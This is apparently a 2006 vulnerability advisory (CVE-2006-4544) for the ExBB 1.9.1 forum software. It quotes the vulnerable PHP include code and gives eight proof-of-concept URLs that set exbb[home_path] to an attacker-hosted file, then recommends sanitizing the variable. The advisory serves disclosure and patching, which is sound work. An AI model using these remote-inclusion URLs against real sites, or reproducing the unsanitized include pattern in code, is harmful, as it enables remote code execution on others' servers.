Bug: ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion ( Ascii Version )

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ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion

Published
Credit
Risk
2006.09.08
Ahmad Maulana a.k.a Matdhule
High
CWE
CVE
Local
Remote
N/A
CVE-2006-4544
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

ECHO.OR.ID

------------------------------------------------------------------------
------

[ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion

------------------------------------------------------------------------
------

Author : Ahmad Maulana a.k.a Matdhule

Date Found : August, 30th 2006

Location : Indonesia, Jakarta

web : http://advisories.echo.or.id/adv/adv46-matdhule-2006.txt

Critical Lvl : Highly critical

Impact : System access

Where : From Remote

------------------------------------------------------------------------
---

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

ExBB 1.9.1

Application : ExBB

version : 1.9.1

URL : http://www.exbb.net

------------------------------------------------------------------------
---

Vulnerability:

~~~~~~~~~~~~~~

In folder birstday we found vulnerability script birst.php

---------------------------birst.php------------------------------------
---

....

<?

$birstdayconf = array();

include ($exbb['home_path'].'modules/birstday/data/birstday_conf.php');

include ($exbb['home_path'].'modules/birstday/language/'.$exbb['default_lang'].'
/lang.php');

...

----------------------------------------------------------

Input passed to the "exbb['home_path']" parameter in birst.php is not

properly verified before being used. This can be exploited to execute

arbitrary PHP code by including files from local or external

resources.

Also affected files :

./select.php

./profile_show.php

../newusergreatings/pm_newreg.php

../punish/p_error.php

../punish/profile.php

../threadstop/threadstop.php

../userstop/userstop.php

Proof Of Concept:

~~~~~~~~~~~~~~~

http://target.com/[exbb_path]/modules/birstday/birst.php?exbb[home_path]
=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/birstday/select.php?exbb[home_path
]=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/birstday/profile_show.php?exbb[hom
e_path]=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/newusergreatings/pm_newreg.php?exb
b[home_path]=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/punish/p_error.php?exbb[home_path]
=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/punish/profile.php?exbb[home_path]
=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/threadstop/threadstop.php?exbb[hom
e_path]=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/userstop/userstop.php?exbb[home_pa
th]=http://attacker.com/inject.txt?

Solution:

~~~~~~~

- Sanitize variable $exbb['home_path'] on affected files.

------------------------------------------------------------------------
---

Shoutz:

~~~

~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :)

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous

~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama, BlueSpy, str0ke

~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email
concealed]

~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net

------------------------------------------------------------------------

---

Contact:

~~~~

matdhule[at]gmail[dot]com

-------------------------------- [ EOF ]----------------------------------

See this note in TXT Version

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